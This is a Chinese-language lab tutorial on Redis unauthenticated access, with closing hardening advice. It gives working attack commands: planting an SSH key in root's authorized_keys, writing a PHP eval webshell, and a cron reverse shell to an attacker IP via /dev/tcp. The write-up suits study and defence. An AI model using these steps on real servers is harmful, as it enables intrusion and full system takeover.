Redis 未授权访问与Get Shell漏洞

本文介绍Redis未授权访问漏洞原理及危害,包括利用Redis命令实现SSH免密登录、WebShell写入与Shell反弹等攻击手段,并提供防范措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Redis 未授权访问与Get Shell漏洞

漏洞原理与危害

Redis默认情况下,会绑定在默认端口,如果没有采用相关策略,例如

​ ①防火墙拦截非信任IP

​ ②端口屏蔽

会将Redis服务器暴露在公网上,如果没有设置口令认证,会导致任意用户在访问目标服务器时能够未经授权便访问Redis以及其数据。利用Redis自身提供的config命令进行写文件操作,可以将自己的SSH公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器;

利用条件:

​ ①Redis绑定在默认端口,且没有安全策略;

​ ②为设置口令认证;

漏洞危害:

​ ①数据篡改;

​ ②命令执行,备份数据,写入后门;

​ ③SSH登录

环境配置

在靶机和攻击机上安装redis-3.2.11,步骤相同

1. wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2. tar xzf redis-3.2.11.tar.gz
3. cd redis-3.2.11
4. make

接着就改一下redis.conf里的配置

  1. 将bind 127.0.0.1注释,允许远程连接;
  2. 将protected-mode yes 改为protected-mode no;
vim redis.conf

最后启动redis

1.	cd src
2.	./redis-server /redis/redis-3.2.11/redis.conf

这样就完成了,攻击机的安装过程一致

注意事项

其中要注意开启服务之后可以用

ps -ef | grep redis

来查看正在运行redis的进程

如果遇到攻击机连接无响应,可以在靶机中杀死这个进程,再重启redis服务

kill -9 xxx

如果连接不上,可能是靶机开了防火墙

service iptables status	//查看防火墙状态
service iptables start  //开启防火墙
service iptables stop	//关闭防火墙

未授权访问

./redis-cli -h 10.10.10.133

在redis安装目录的src文件夹中输入上面的语句来测试能否访问目标的redis

可以正常连接,接下来是SSH免密登录

SSH免密登录Get Shell

SSH登录原理简介

​ SSH提供了两种登陆验证方式:

1. 口令验证;

2. 密钥验证;

所谓的密钥验证就是一种基于公钥密码的认证,使用公钥加密、私钥解密;公钥是公开的,放在服务器端,可以把同一个公钥放在所有你想SSH远程登陆的服务器中。

大体的流程为:

1. 客户端生成私钥和公钥,把公钥拷贝到服务器;
2. 客户端发起登录请求,发送自己的相关信息;
3. 服务器端根据客户端发来的信息查找是否存有该客户端的公钥,如果没有则拒绝登录,如果有则生成一段随机数,并使用这个公钥加密后,发给客户端;
4. 客户端收到服务器发来的加密信息后用自己的私钥解密,并把解密后的结果发送给服务器;
5. 服务器端验证客户端发送的解密信息,与先前随机生成的数进行比对,如果一致则允许登录,如果不一致则拒绝;

复现过程

靶机IP 10.10.10.133

攻击机IP 10.10.10.128

1)靶机开启redis服务

./reids-server /etc/redis.conf

2)靶机创建SSH公钥存放目录

mkdir /root/.ssh		//一般来说应该是已经存在这个目录了

3)攻击机生成SSH公钥和对应私钥,并设置密码为空

ssh-keygen -t rsa

4)进入.ssh目录,并将生成的公钥保存到文本文件中

cd .ssh/
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>k1ose.txt
ls		//验证是否成功

5)将文本文件将文件写入redis

cat k1ose.txt | /redis/redis-3.2.11/src/redis-cli -h 10.10.10.133 -x set crack 	//crack处可以任意填写

6)远程连接靶机的redis,并执行

1.	/redis/redis-3.2.11/src/redis-cli -h 10.10.10.133
2.	config set dir /root/.ssh			//对redis的备份文件路径进行修改
3.	config dbfilename authorized_keys	//生成文件authorized_keys,将本地的私钥登入被植入公钥的ssh服务器
4.	config get dbfilename			  //验证dbfilename是否为authorized_keys
5.	save						     //保存	

7)退出后,开启双方的ssh服务

1.	service ssh start	//kali开启ssh服务
2.  service sshd start  //centos6开启ssh服务

8)攻击机使用ssh免密连接靶机

ssh -i id_rsa root@10.10.10.133			//ssh -i 密钥 用户@IP 

9)连接成功后使用

uname -a
whoami

进行验证

可以看到,已经成功get shell 了

WebShell写入

Webshell原理

通过写入执行命令getshell

复现过程

如果该网站还是一个web服务器,那么我们大胆猜测路径在/var/www/html下

连接上redis后,使用以下命令,将webshell写入到hack.php文件中

1. config set dir /var/www/html
2. config set dbfilename hack.php
3. set webshell "<?php echo @eval($_POST['k1ose']); ?>"
4. save

接着用菜刀/weevely连接即可;

Shell反弹

Shell反弹原理

通过crontab来执行命令反弹shell

复现过程

现在攻击机服务器上监听一个端口

nc -lvnp 6666

连接靶机redis,输入以下代码

1. ./redis-cli -h 10.10.10.133
2. set shell "\n*****bash -i >& /dev/tcp/10.10.10.128/6666 0>&1\n"
3. config set dir /var/spool/cron/
4. config set dbfilename root
5. save

需要等待一定时间才能得到反弹的shell

漏洞修补

  1. 通过配置rename-command CONFIG “” 来禁用一些命令,例如
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL	""
  1. 以低权限启动redis
  2. 修改redis.conf文件,给redis增加口令验证
requirepass mypassword
  1. 修改redis.conf文件,禁止对公网开放,将端口绑定到固定IP
bind 127.0.0.1
  1. 修改redis.conf文件,开启protected-mode
protected-mode yes
  1. 检查用户.ssh目录下是否已经存在非法的authorized_keys文件

总结

总的来说,这个漏洞是很难应用的,也很容易防范。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值